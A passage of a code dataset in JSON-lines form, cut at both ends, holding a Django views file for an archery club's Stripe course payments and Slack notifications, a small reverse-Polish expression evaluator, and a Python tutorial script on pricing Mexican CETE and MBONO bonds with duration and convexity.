})\n try:\n requests.post(settings.SLACK_EVENTS_HREF, data=data)\n except Exception:\n pass\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse('membership:overview')\n\n\nclass NonMembersPayment(MessageMixin, View):\n def get(self, request, *args, **kwargs):\n customer_id = self.request.user.customer_id or None\n membership_overview_url = reverse('membership:overview')\n attendees = Attendee.objects.filter(\n archer__user=self.request.user,\n member=False,\n paid=False,\n course__can_book_individual_sessions=False,\n )\n if not attendees:\n self.messages.error('You have no courses to pay for.')\n return redirect(membership_overview_url)\n session = stripe.checkout.Session.create(\n line_items=[{\n 'price_data': {\n 'currency': 'gbp',\n 'product_data': {\n 'name': '%s - %s' % (attendee, attendee.course),\n },\n 'unit_amount': attendee.fee * 100,\n },\n 'quantity': 1,\n } for attendee in attendees],\n mode='payment',\n customer=customer_id,\n customer_email=None if customer_id else self.request.user.email,\n success_url=request.build_absolute_uri(membership_overview_url),\n cancel_url=request.build_absolute_uri(membership_overview_url),\n )\n intent = PaymentIntent.objects.create(stripe_id=session.payment_intent, user=self.request.user)\n for attendee in attendees:\n intent.lineitemintent_set.create(item=attendee)\n return redirect(session.url, status_code=303)\n\n\nclass MinisInterestView(MessageMixin, CreateView):\n form_class = CourseInterestForm\n template_name = 'minis_interest_form.html'\n success_url = reverse_lazy('juniors')\n\n def get_form_kwargs(self):\n kwargs = super().get_form_kwargs()\n kwargs['course_type'] = 'minis'\n return kwargs\n\n def form_valid(self, form):\n response = super().form_valid(form)\n self.messages.success('Thanks for your interest! We will be in touch soon.')\n if settings.SLACK_EVENTS_HREF:\n data = json.dumps({\n 'icon_emoji': ':wave:',\n 'text': 'New minis course interest received for %s!\\n%s' % (\n form.cleaned_data['name'],\n self.request.build_absolute_uri(\n reverse(\n 'admin:courses_interest_change',\n args=(form.instance.pk,),\n )\n ),\n )\n })\n try:\n requests.post(settings.SLACK_EVENTS_HREF, data=data)\n except Exception:\n pass\n return response\n","repo_name":"mjtamlyn/wallingfordcastle","sub_path":"courses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37528742601","text":"from operator import *\nfrom fractions import *\nOPS = {\"+\":add,\"-\":sub,\"*\":mul,\"/\":lambda a,b:Fraction(a,b)}\nMAX = 2**63-1\ndef int_overflow(val):\n if not -MAX-1 <= val <= MAX:\n val = (val + (MAX + 1)) % (2 * (MAX + 1)) - MAX - 1\n return val\ndef ev(expr):\n\ttry:\n\t\tstack = []\n\t\tfor op in expr.split(\" \"):\n\t\t\tof = OPS.get(op, None)\n\t\t\tif of is None:\n\t\t\t\tstack.append(int(op))\n\t\t\telse:\n\t\t\t\tif len(stack) < 2:\n\t\t\t\t\treturn None\n\t\t\t\top1 = stack.pop()\n\t\t\t\tstack.append(of(stack.pop(), op1))\n\t\tif len(stack) != 1:\n\t\t\treturn None\n\t\treturn stack[-1]\n\texcept:\n\t\treturn None\nprint(ev(input()) == ev(input()))\n\t\t\t","repo_name":"molusq/polydrive","sub_path":"SI3/S6/Anciennes matières (ne font plus partie de la maquette)/PCP/2021/1/expressions.py","file_name":"expressions.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71647202702","text":"#%% MODULES\r\nimport numpy as np\r\nimport pandas as pd\r\nimport datetime as dt\r\nimport holidays\r\n\r\n#%% DATA IMPORT\r\n\r\n# Function to import zcb data from price vendor VALMER\r\ndef data_from_valmer_CETE(fpath: str = r'C:\\Users\\jquintero\\Downloads',\r\n fdate: str = '20231122') -> pd.DataFrame:\r\n \"\"\"\r\n Import CETE data.\r\n\r\n Args:\r\n - fpath (str): Path where the VALMER file is located.\r\n - fdate (str): Date for retreiving closing data from VALMER.\r\n\r\n Returns:\r\n (pd.DataFrame) Characteristics for each CETE.\r\n \"\"\"\r\n # File default name\r\n fname = r'\\Niveles_de_Valuacion_'\r\n \r\n # Whole file path \r\n path = fpath+fname+fdate+'.xlsx'\r\n \r\n # File read\r\n tmpdf = pd.read_excel(path)\r\n \r\n # Indexes of MBONOS loc\r\n r,c = np.where(tmpdf == \"Directo_Cete's\")\r\n r,c = r[0], c[0]\r\n \r\n # First True value\r\n idx_1stT = tmpdf.iloc[r:, c].isnull().idxmax()\r\n \r\n # Second True value\r\n idx_2ndT = (tmpdf.iloc[r:, c]).loc[idx_1stT:].isnull().idxmax()\r\n \r\n # Data\r\n df_cets = tmpdf.iloc[r:idx_2ndT, 1:4].dropna()\r\n df_cets.columns = df_cets.iloc[0]\r\n df_cets = df_cets.drop(df_cets.iloc[0].name).reset_index(drop=True)\r\n df_cets.columns.rename('', inplace=True)\r\n \r\n # Data proc\r\n df_cets.insert(1,'Mty',df_cets['Instrumento'].\\\r\n apply(lambda c: dt.datetime.strptime(c[-6:],'%y%m%d')))\r\n renamedic = {'Instrumento':'ID', 'Dias X Vencer': 'DTM', 'Hoy':'YTM'}\r\n df_cets = df_cets.rename(columns=renamedic)\r\n \r\n return df_cets\r\n\r\n# Function to import bond data from price vendor VALMER\r\ndef data_from_valmer_MBONO(fpath: str = r'C:\\Users\\jquintero\\Downloads',\r\n fdate: str = '20231122') -> pd.DataFrame:\r\n \"\"\"\r\n Import MBONO data.\r\n\r\n Args:\r\n - fpath (str): Path where the VALMER file is located.\r\n - fdate (str): Date for retreiving closing data from VALMER.\r\n\r\n Returns:\r\n (pd.DataFrame) Characteristics for each MBONO.\r\n \"\"\"\r\n # File default name\r\n fname = r'\\Niveles_de_Valuacion_'\r\n \r\n # Whole file path \r\n path = fpath+fname+fdate+'.xlsx'\r\n \r\n # Bond CPN rate by mty\r\n specs_path = r'H:\\mbonos_specs.xlsx'\r\n df_mbonospecs = pd.read_excel(specs_path)\r\n df_mbonospecs['Maturity'] = df_mbonospecs['Maturity'].\\\r\n apply(lambda c: dt.datetime.strptime(c,'%d/%m/%Y'))\r\n df_mbonospecs = df_mbonospecs[~df_mbonospecs[['Maturity']].duplicated()]\r\n \r\n # File read\r\n tmpdf = pd.read_excel(path)\r\n \r\n # Indexes of MBONOS loc\r\n r,c = np.where(tmpdf == 'Bonos de Tasa Fija (BONOS M)')\r\n r,c = r[0], c[0]\r\n \r\n # First True value\r\n idx_1stT = tmpdf.iloc[r:, c].isnull().idxmax()\r\n \r\n # Second True value\r\n idx_2ndT = (tmpdf.iloc[r:, c]).loc[idx_1stT+1:].isnull().idxmax()\r\n \r\n # Data\r\n df_bonos = tmpdf.iloc[r:idx_2ndT, 1:4].dropna()\r\n df_bonos.columns = df_bonos.iloc[0]\r\n df_bonos = df_bonos.drop(df_bonos.iloc[0].name).reset_index(drop=True)\r\n df_bonos.columns.rename('', inplace=True)\r\n \r\n # Data proc\r\n df_bonos.insert(1,'Mty',df_bonos['Instrumento'].\\\r\n apply(lambda c: dt.datetime.strptime(c[-6:],'%y%m%d')))\r\n renamedic = {'Instrumento':'ID', 'Plazos': 'DTM', 'Hoy':'YTM'}\r\n df_bonos = df_bonos.merge(df_mbonospecs[['Maturity', 'Coupon']], \r\n how='left', left_on='Mty', right_on='Maturity').\\\r\n drop('Mty',axis=1).rename(columns=renamedic)\r\n \r\n return df_bonos\r\n\r\n#%% Interest Rates\r\n\r\n# Function to measure interest \r\ndef calc_interest(VT: float = 100, V0: float = 96, t: float = 0.5, \r\n im: str = 'eff') -> float:\r\n \"\"\"\r\n Calculate interest earned.\r\n\r\n Args:\r\n - VT (float): Investment at end of period.\r\n - V0 (float): Investment at beginning of period.\r\n - t (float): Period (in years).\r\n - im (str): Interest measure: Effective, Annually.\r\n\r\n Returns:\r\n (float) Interest amount earned in the specified measure.\r\n \"\"\"\r\n if im.lower()[0] == 'e':\r\n I = (VT - V0)\r\n elif im.lower()[0] == 'a':\r\n I = (VT - V0)/t\r\n else:\r\n print(\"Incorrect measure specified!\")\r\n return np.nan\r\n \r\n return I\r\n\r\n# Function to measure interest rate\r\ndef calc_interest_rate(VT: float = 100, V0: float = 96, t: float = 0.5, \r\n im: str = 'eff') -> float:\r\n \"\"\"\r\n Calculate interest rate earned.\r\n\r\n Args:\r\n - VT (float): Investment at end of period.\r\n - V0 (float): Investment at beginning of period.\r\n - t (float): Period (in years).\r\n - im (str): Interest measure: Effective, Annually.\r\n\r\n Returns:\r\n (float) Interest rate earned in the specified measure.\r\n \"\"\"\r\n I = calc_interest(VT,V0,t,im)\r\n \r\n return I/V0\r\n\r\n# Accumulation factor function given an interest rate \r\ndef accum_f(i: float = 0.04, n: float = 1, itype: str = 'simple', \r\n m: float = 1) -> float:\r\n \"\"\"\r\n Calculate end-of-period value of a $1-investment.\r\n\r\n Args:\r\n - i (float): Interest rate.\r\n - n (float): Investment period (in years, for example, 1/12 for 1 month).\r\n - itype (str): Type of interest rate to accrue investment.\r\n - m (float): Compounding frequency (when applicable, in years).\r\n\r\n Returns:\r\n (float) Accumulated value at the end of the nth period for\r\n a $1-investment at the given interest rate (i).\r\n \"\"\"\r\n # Lets set type of interest\r\n if itype.lower()[0] == 's':\r\n # Simple interest rate\r\n a_n = (1+i*n)\r\n elif itype.lower()[0] == 'c':\r\n # Compounding interest rate\r\n a_n = (1+i*m)**(n/m)\r\n else:\r\n print(\"\\nInterest type incorrectly specified.\\nPlease try again!\\n\")\r\n return np.nan\r\n \r\n return a_n\r\n\r\n# Discount factor function given an interest rate \r\ndef DF(i: float = 0.04, n: float = 1, \r\n itype: str = 'simple', m: float = 1) -> float:\r\n \"\"\"\r\n Calculate the beginning-period value of a $1 accumulated at end of period.\r\n\r\n Args:\r\n - i (float): Interest rate.\r\n - n (float): Investment period (in years, for example, 1/12 for 1 month).\r\n - itype (str): Type of interest rate to accrue investment.\r\n - m (float): Compounding frequency (when applicable, in years).\r\n\r\n Returns:\r\n (float) Discounted value at the beginning of an nth period for\r\n a $1 value accumulated for a given interest rate (i) at end of period.\r\n \"\"\"\r\n # Lets set type of interest\r\n if itype.lower()[0] == 's':\r\n # Simple interest rate\r\n DF_n = 1/(1+i*n)\r\n elif itype.lower()[0] == 'c':\r\n # Compounding interest rate\r\n DF_n = (1+i*m)**(-n/m)\r\n else:\r\n print(\"\\nInterest type incorrectly specified.\\nPlease try again!\\n\")\r\n return np.nan\r\n \r\n return DF_n\r\n###############################################################################\r\n\"\"\"\r\nLets compute simple and compounding interests\r\n\"\"\"\r\n# Simple\r\nV_simple = 100*accum_f(i=0.10, n=np.arange(0,4,1), itype='simple')\r\n# Compounding\r\nV_comp = 100*accum_f(i=0.10, n=np.arange(0,4,1), itype='compound', m=1)\r\n# Comparison\r\npd.DataFrame({'Simp':V_simple, 'Comp':V_comp}, index=np.arange(0,4,1))\r\n\r\n#%% TVM\r\n\"\"\"\r\nHow do we compute the present value?\r\n\"\"\"\r\n# Lets compute the PV of a $100 to be earned in 1.5 years at a simple 11% rate \r\nDF(0.11, 1.5)*100\r\n# Ibid, but with monthly compounding rate\r\nDF(11/100, 1.5, 'c', 1/12)*100\r\n\r\n# Function to compute present value of earned amount at end of period\r\ndef PV(cf: float = 100, i: float = 0.04, n: float = 1, \r\n itype: str = 'simple', m: float = 1) -> float:\r\n \"\"\"\r\n Calculate the present value of amount to be earned at the end of the period\r\n\r\n Args:\r\n - cf (float): Cashflow or amount to discount.\r\n - i (float): Interest rate.\r\n - n (float): Investment period (in years, for example, 1/12 for 1 month).\r\n - itype (str): Type of interest rate to accrue investment.\r\n - m (float): Compounding frequency (when applicable, in years).\r\n\r\n Returns:\r\n (float) Present value of the cashflow or amount at period's end.\r\n \"\"\"\r\n # Discounting factor\r\n discount_factor = DF(i=i, n=n, itype=itype, m=m)\r\n \r\n return discount_factor*cf\r\n###############################################################################\r\n#%% BOND PRICING\r\n\r\n# Function to compute zero-coupon bond price\r\ndef zcb_price(nominal: float = 10.0, r: float = 0.1120, \r\n dtm: int = 182, ybc: int = 360) -> float:\r\n \r\n \"\"\"\r\n Calculate the price of a Zero-Coupon Bond (ZCB).\r\n\r\n Args:\r\n - nominal: Bond's face value\r\n - r (float): Yield rate (as a decimal, for example, 0.05 for 5%).\r\n - dtm (int): Days to maturity.\r\n - ybc (int): Convention for year base. For example: 360, 365, 252.\r\n\r\n Returns:\r\n float: ZCB price.\r\n \"\"\"\r\n return PV(cf=nominal,i=r,n=dtm/ybc,itype='simple',m=dtm/ybc)\r\n###############################################################################\r\n\"\"\"\r\nLets price a CETE.\r\n\"\"\"\r\nprint(f'CETE Price: {zcb_price():,.6f}\\n\\tr: 11.20%\\n\\tDTM: 182')\r\n\r\n\"\"\"\r\nLets price a 10-year maturity bond yielding 6.25% interest, \r\npaying yearly a 4.5%-coupon over a par value of $100.\r\n\"\"\"\r\n# Bond characteristics\r\nn_maturity = 10\r\npar_value = 100\r\ncoupon_rate = 4.5/100\r\nbond_yield = 6.25/100\r\ncomp_freq = 1\r\n\r\n# We create the vector of yearly payments \r\ncoupon_pmt = coupon_rate*par_value \r\ncashflows = np.repeat(coupon_pmt, n_maturity)\r\n# At maturity we will recieve the 100 par \r\ncashflows[-1] += 100\r\n\r\n# Making use of the PV function to discount bond's CFs\r\nPV_cf = PV(cashflows, bond_yield, np.arange(1,11,1), 'c', comp_freq)\r\n\r\n# Sum of the present value of the bond's cashflows\r\nfair_value = np.sum(PV_cf)\r\nprint(f'The price of the bond is: ${fair_value: .6f}')\r\n\r\n# Bond as DataFrame\r\ndfb = pd.DataFrame({'period':np.arange(1,11,1), 'CF':cashflows, 'PV_CF':PV_cf})\r\nprint(f\"Bond Specs:\\n{dfb}\")\r\n\r\n# Function to price a bond\r\ndef bond_price(settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ytm: float, \r\n ybc: int = 360) -> tuple:\r\n \"\"\"\r\n Calculate bond price.\r\n\r\n Args:\r\n - settle_date (dt.date): Settlement date.\r\n - mty_date (dt.date): Maturity date.\r\n - coup_freq (int): Frequency of coupon payment in days.\r\n - par_value (float): Nominal or face value.\r\n - coupon_rate (float): Coupon rate\r\n - ytm (float): Yield to maturity.\r\n - ybc (int): Days in a year convention for periods.\r\n\r\n Returns:\r\n (tuple) Bond price with cashflows characteristics table.\r\n \"\"\"\r\n # Maturity in days\r\n T = (mty_date - settle_date).days\r\n \r\n # Coupons left\r\n n_coup_left = np.ceil(T/coup_freq).astype(int)\r\n\r\n # Payment dates\r\n m = coup_freq/ybc\r\n CF_dates = pd.bdate_range(start=mty_date, periods=n_coup_left, \r\n freq='-'+str(coup_freq)+'D', \r\n holidays=holidays.MX()).sort_values()\r\n\r\n # Coupon payments\r\n c_pmt = coupon_rate*par_value*m\r\n bond_CF = np.repeat(c_pmt, n_coup_left)\r\n bond_CF[-1] += par_value\r\n\r\n # Discount Factors\r\n bond_CF_dtm = np.array([x.days for x in (CF_dates - settle_date)])\r\n bond_CF_period = bond_CF_dtm/ybc\r\n bond_DF = DF(ytm, bond_CF_period, 'c', m)\r\n\r\n # Bond specs dataframe\r\n df_bond_specs = pd.DataFrame({'n_coupon': np.array(range(1,n_coup_left+1)),\r\n 'date_pmt': CF_dates,\r\n 'dtm': bond_CF_dtm,\r\n 'period': bond_CF_period, \r\n 'CF': bond_CF, \r\n 'DF': bond_DF})\r\n\r\n # Bond pricing\r\n bond_price = (df_bond_specs['CF']*df_bond_specs['DF']).sum()\r\n \r\n return bond_price, df_bond_specs\r\n###############################################################################\r\n\"\"\"\r\nLets price the MBONO May31.\r\n\"\"\"\r\n# Trade & Settle dates\r\ntrade_date = dt.datetime.now().date()\r\nsettle_date = trade_date + pd.offsets.\\\r\n CustomBusinessDay(n=2, calendar=holidays.MX())\r\n# M31 characteristics\r\nmty_str = '2031-05-29'\r\nyearbase_conv = 360\r\nmty_date = dt.datetime.strptime(mty_str, '%Y-%m-%d')\r\nT = (mty_date - settle_date).days\r\ncoup_freq = 182\r\nn_coup_left = np.ceil(T/coup_freq).astype(int)\r\ncf_dates = pd.bdate_range(start=mty_date, periods=n_coup_left, \r\n freq='-'+str(coup_freq)+'D', \r\n holidays=holidays.MX()).sort_values()\r\nvn = 100\r\ncoupon_rate = 7.75/100\r\nytm = 9.60/100\r\n\r\n# M31 Price & CF table\r\nm31_price, df_m31 = bond_price(settle_date, mty_date, coup_freq, vn, \r\n coupon_rate, ytm, yearbase_conv)\r\n# accrued interest\r\nm31_accInt = (182-df_m31.iloc[0]['dtm'])/360*coupon_rate*vn\r\nm31_price_cln = m31_price - m31_accInt\r\n\r\n# M31 pricing output\r\nprint(f'The price of the bond is: ${m31_price: .6f}')\r\nprint(f'Bond clean price: ${m31_price_cln: .6f}')\r\nprint(f'Bond accrued interest: ${m31_accInt: .6f}')\r\nprint(f\"M31 Specs:\\n{df_m31}\")\r\n\r\n\r\n#%% BOND RISK MEASURES\r\n\r\n# Function to compute bond duration\r\ndef bond_risk_dur(df_bond_specs: pd.DataFrame, m: float) -> float:\r\n \"\"\"\r\n Calculate bond duration in years.\r\n\r\n Args:\r\n - df_bond_specs (pd.DataFrame): Bond specs with the periods, cashflows and\r\n discounting factors data.\r\n - m (float): Compounding frequency.\r\n\r\n Returns:\r\n (float) Bond duration in years.\r\n \"\"\"\r\n # PV of cashflows\r\n PV_CF = df_bond_specs['CF']*df_bond_specs['DF']\r\n # Price\r\n P = np.sum(PV_CF)\r\n # Cashflows weights\r\n w = PV_CF/P\r\n # Coupon periods\r\n t = df_bond_specs['period']/m\r\n # Duration\r\n dur = (w @ t)*m\r\n \r\n return dur\r\n\r\n# Function to compute bond modified duration\r\ndef bond_risk_mdur(dur: float, y: float, m: float) -> float:\r\n \"\"\"\r\n Calculate bond modified duration.\r\n\r\n Args:\r\n - dur (float): Bond's duration.\r\n - y (float): Yield to maturity.\r\n - m (float): Compounding frequency.\r\n\r\n Returns:\r\n (float) Bond modified duration.\r\n \"\"\"\r\n return dur/(1+y*m)\r\n\r\n# Function to compute bond dv01 risk measure\r\ndef bond_risk_dv01(df_bond_specs: pd.DataFrame, y: float, m: float) -> float:\r\n \"\"\"\r\n Calculate bond DV01 risk.\r\n\r\n Args:\r\n - df_bond_specs (pd.DataFrame): Bond specs with the periods, cashflows and\r\n discounting factors data.\r\n - y (float): Yield to maturity.\r\n - m (float): Compounding frequency.\r\n\r\n Returns:\r\n (float) Bond DV01 risk.\r\n \"\"\"\r\n # PV of cashflows\r\n PV_CF = df_bond_specs['CF']*df_bond_specs['DF']\r\n # Price\r\n P = np.sum(PV_CF)\r\n # Duration\r\n dur = bond_risk_dur(df_bond_specs, m)\r\n # Modified duration\r\n mdur = bond_risk_mdur(dur, y, m)\r\n # Price change wrt ytm\r\n derivP = -1*mdur*P\r\n \r\n return derivP*0.0001\r\n###############################################################################\r\n\"\"\"\r\nLets compute the MBONO May31 Risk Measures.\r\n\"\"\"\r\n# Duration\r\nm31_dur = bond_risk_dur(df_m31, coup_freq/yearbase_conv)\r\n# Modified Duration\r\nm31_mdur = bond_risk_mdur(m31_dur, ytm, coup_freq/yearbase_conv)\r\n# DV01 via ModDur\r\nm31_dv01_mdur = bond_risk_dv01(df_m31, ytm, coup_freq/yearbase_conv)\r\ndf_m31_risks = pd.DataFrame({'Measure': [m31_dur, m31_mdur, m31_dv01_mdur]}, \r\n index = ['Dur', 'ModDur', 'DV01'])\r\nprint('\\nM31 Risk Measures\\n')\r\nprint(df_m31_risks)\r\n\r\n###############################################################################\r\nfrom sympy import symbols, diff\r\n\r\n# Function to compute bond price\r\ndef B(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Maturity in days\r\n T = (mty_date - settle_date).days\r\n \r\n # Coupons left\r\n n_coup_left = np.ceil(T/coup_freq).astype(int)\r\n\r\n # Payment dates\r\n m = coup_freq/ybc\r\n CF_dates = pd.bdate_range(start=mty_date, periods=n_coup_left, \r\n freq='-'+str(coup_freq)+'D', \r\n holidays=holidays.MX()).sort_values()\r\n\r\n # Coupon payments\r\n c_pmt = coupon_rate*par_value*m\r\n bond_CF = np.repeat(c_pmt, n_coup_left)\r\n bond_CF[-1] += par_value\r\n\r\n # Discount Factors\r\n bond_CF_dtm = np.array([x.days for x in (CF_dates - settle_date)])\r\n bond_CF_period = bond_CF_dtm/ybc\r\n bond_DF = DF(ytm/100, bond_CF_period, 'c', m)\r\n \r\n return (bond_CF*bond_DF).sum()\r\n \r\n# Function to compute first derivative of bond price wrt yield\r\ndef deriv_B(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Bond price and cashflow table\r\n price, df_specs = bond_price(settle_date, mty_date, coup_freq, par_value,\r\n coupon_rate, ytm, ybc)\r\n # Macaulay duration\r\n b_dur = bond_risk_dur(df_specs, coup_freq/ybc)\r\n \r\n # Modified duration\r\n modD = bond_risk_mdur(b_dur, ytm, coup_freq/ybc)\r\n \r\n # Price deriv wrt ytm; for delta ytm = 100 bps\r\n #derivPrice_y = -1*modD*price/100\r\n # Price deriv wrt ytm; for delta ytm = 1 bps\r\n #derivPrice_y = -1*modD*price/10000\r\n \r\n #return derivPrice_y\r\n return -modD*price\r\n\r\n# Function to compute first derivative of bond's duration wrt yield\r\ndef deriv_D(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Bond price and cashflow table\r\n price, df_specs = bond_price(settle_date, mty_date, coup_freq, par_value,\r\n coupon_rate, ytm, ybc)\r\n # Macaulay duration\r\n m = coup_freq/ybc\r\n D = bond_risk_dur(df_specs, m)\r\n \r\n # PV of cashflows\r\n PV_CF = df_specs['CF']*df_specs['DF']\r\n # Price\r\n P = np.sum(PV_CF)\r\n # Cashflows weights\r\n w = PV_CF/P\r\n # Coupon periods\r\n sqrdt = (df_specs['period']/m)**2\r\n # sumation\r\n sum1 = (w @ sqrdt)\r\n \r\n # Sumation factors\r\n sF1 = D**2/(1+ytm*m)\r\n sF2 = sum1*(m**2)/(1+ytm*m)\r\n \r\n return sF1 - sF2\r\n\r\n# Function to compute first derivative of bond's modified duration wrt yield\r\ndef deriv_modD(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Bond price and cashflow table\r\n price, df_specs = bond_price(settle_date, mty_date, coup_freq, par_value,\r\n coupon_rate, ytm, ybc)\r\n # Macaulay duration\r\n m = coup_freq/ybc\r\n D = bond_risk_dur(df_specs, m)\r\n \r\n # Macaulay duration 1st derivative\r\n derivD = deriv_D(ytm, settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n \r\n # Sumation factors\r\n sF1 = derivD/(1+ytm*m)\r\n sF2 = m/((1+ytm*m)**2)*D\r\n \r\n return sF1 - sF2\r\n\r\n# Function to compute convexity of bond price\r\ndef bond_convexity(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Bond price and cashflow table\r\n price, df_specs = bond_price(settle_date, mty_date, coup_freq, par_value,\r\n coupon_rate, ytm, ybc)\r\n # Macaulay duration\r\n b_dur = bond_risk_dur(df_specs, coup_freq/ybc)\r\n \r\n # Modified duration\r\n modD = bond_risk_mdur(b_dur, ytm, coup_freq/ybc)\r\n \r\n # Modified duration 1st derivative\r\n derivmodD = deriv_modD(ytm, settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n \r\n return (modD**2-derivmodD)\r\n\r\n# Function to compute convexity of bond price by approximation\r\ndef bond_convexity_approx(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # 1bp yield change\r\n d = 0.0001\r\n \r\n # Bond price \r\n V0 = B(100*ytm, settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n \r\n # Bond price +1/-1 bp\r\n Vplus = B(100*(ytm+d), settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n Vminus = B(100*(ytm-d), settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n \r\n return (Vplus+Vminus-2*V0)/(V0*d**2)\r\n\r\n# Function to compute second derivative of bond price wrt yield\r\ndef deriv2_B(ytm: float, settle_date: dt.date, mty_date: dt.date, coup_freq: int, \r\n par_value: float, coupon_rate: float, ybc: int) -> float:\r\n # Bond price and cashflow table\r\n price, df_specs = bond_price(settle_date, mty_date, coup_freq, par_value,\r\n coupon_rate, ytm, ybc)\r\n # Macaulay duration\r\n b_dur = bond_risk_dur(df_specs, coup_freq/ybc)\r\n \r\n # Modified duration\r\n modD = bond_risk_mdur(b_dur, ytm, coup_freq/ybc)\r\n \r\n # Modified duration 1st derivative\r\n derivmodD = deriv_modD(ytm, settle_date, mty_date, coup_freq, par_value, coupon_rate, ybc)\r\n \r\n return price*(modD**2-derivmodD)\r\n\r\n\r\n\r\n# Lets assert the first derivative is well coded/defined\r\nx = symbols('x')\r\nf,_ = bond_price(settle_date, mty_date, coup_freq, vn, coupon_rate, x, yearbase_conv)\r\nf = B(x, settle_date, mty_date, coup_freq, vn, coupon_rate, yearbase_conv)\r\nf_prime = diff(f,x)\r\ndef f_prime2(x): return deriv_B(x, settle_date, mty_date, coup_freq, vn, coupon_rate, yearbase_conv)\r\nf_prime.evalf(subs={x:9.55})/100 - f_prime2(0.0955)*0.0001 # checked\r\n\r\n###############################################################################\r\n\r\n# Function to compute second order approx of bond pct change wrt changes in ytm\r\ndef delta_pctB(dy: float = 0.0001, modD: float = 5.29, C: float = 35) -> float:\r\n \"\"\"\r\n Calculate bond percent change wrt changes in the ytm.\r\n\r\n Args:\r\n - dy (float): Yield to maturity change.\r\n - modD (float): Bond's modified duration.\r\n - C (float): Bond's convexity.\r\n\r\n Returns:\r\n (float) Bond's percent change after a change in the YTM.\r\n \"\"\"\r\n \r\n return C/2*(dy**2)-modD*dy\r\n\r\n\"\"\"\r\nLets compute the price change in the MBONO May31 after a 200bp rally\r\n\"\"\"\r\ndy = -200*0.0001\r\nC = bond_convexity(ytm, settle_date, mty_date, coup_freq, vn, coupon_rate, yearbase_conv)\r\npctChgB = delta_pctB(dy, m31_mdur, C)\r\nchgB = m31_price*pctChgB\r\nrealPriceChg = B(100*(ytm+dy),settle_date,mty_date,coup_freq,vn,coupon_rate,yearbase_conv)\r\nprint('\\nM31 Price after 200bp rally:'+\\\r\n f'\\n\\t Price: {realPriceChg:,.4f}'+\\\r\n f'\\n\\t2nd Ord Approx: {m31_price+chgB:,.4f}')\r\n###############################################################################\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib.ticker import StrMethodFormatter\r\n\"\"\"\r\nLets compute viz the MBONO May31's Convexity\r\n\"\"\"\r\n# Price-Yield Curve\r\ndyrange = np.arange(-400,401,1)*0.0001\r\nyrange = ytm + dyrange\r\nB_yrange = []\r\nfor y in yrange:\r\n B_yrange.append(B(100*y, settle_date, mty_date, coup_freq, par_value,coupon_rate, yearbase_conv))\r\nm31_price_ytm_df = pd.DataFrame({'YTM':yrange, 'Price': B_yrange})\r\n\r\n# 1st Order Approximation\r\nB_yrange_approx = m31_price-dyrange*m31_mdur*m31_price\r\n\r\n# 2nd Order Approximation\r\nB_yrange_approx2 = m31_price + m31_price*(C/2*dyrange**2 - m31_mdur*dyrange)\r\n\r\n# M31 Price-Yield Curve\r\nax = m31_price_ytm_df.plot(x='YTM', y='Price',title='M31 Price-YTM')#, marker='.', mfc='w')\r\nax.plot(m31_price_ytm_df.YTM, B_yrange_approx, linestyle='--')\r\nax.plot(m31_price_ytm_df.YTM, B_yrange_approx2, linestyle='--')\r\nax.legend(['Price', '1st Ord Approx', '2nd Ord Approx'])\r\nax.xaxis.set_major_formatter(StrMethodFormatter('{x:,.1%}'))\r\nax.yaxis.set_major_formatter(StrMethodFormatter('{x:,.0f}'))\r\nax.set_xlabel(\"YTM\")\r\nax.set_ylabel(\"Price\")\r\nplt.tight_layout()\r\nplt.show()\r\n###############################################################################\r\n\"\"\"\r\nLets get each MBONO Convexity\r\n\"\"\"\r\nfiledate = '20231205'\r\ndf_mbono = data_from_valmer_MBONO(fdate=filedate)\r\ndf_mbono[['P', 'modD', 'C']] = 0\r\nfor i,r in df_mbono.iterrows():\r\n B0 = B(r['YTM'], settle_date, r['Maturity'], 182, 100, r['Coupon']/100, yearbase_conv)\r\n D0 = -deriv_B(r['YTM']/100, settle_date, r['Maturity'], 182, 100, r['Coupon']/100, yearbase_conv)/B0\r\n C = bond_convexity(r['YTM']/100, settle_date, r['Maturity'], 182, 100, r['Coupon']/100, yearbase_conv)\r\n df_mbono.loc[i,['P', 'modD', 'C']] = B0,D0,C\r\n \r\n# Lets add expected price change over a 100bp rally\r\ndY = -0.02\r\ndf_mbono['chgP'] = df_mbono.apply(lambda x: \r\n (dY**2*x['C']/2-x['modD']*dY),\r\n axis=1)\r\ndf_mbono['chgP2'] = df_mbono.apply(lambda x: \r\n (dY**2*x['C']/2-x['modD']*(-dY)),\r\n axis=1)\r\n \r\n \r\n# CETEs\r\ndf_cete = data_from_valmer_CETE(fdate=filedate)\r\ndf_cete['DTM'] = (df_cete['Mty'] - settle_date).apply(lambda x: x.days)\r\ndf_cete[['P','modD', 'C']] = 0\r\nfor i,r in df_cete.iterrows():\r\n Z0 = zcb_price(r = r['YTM']/100, dtm = r['DTM'])\r\n Zp = zcb_price(r = (r['YTM']+0.01)/100, dtm = r['DTM'])\r\n Zm = zcb_price(r = (r['YTM']-0.01)/100, dtm = r['DTM'])\r\n D0 = (r['DTM']/360)/(1+r['YTM']*r['DTM']/36000)\r\n C = 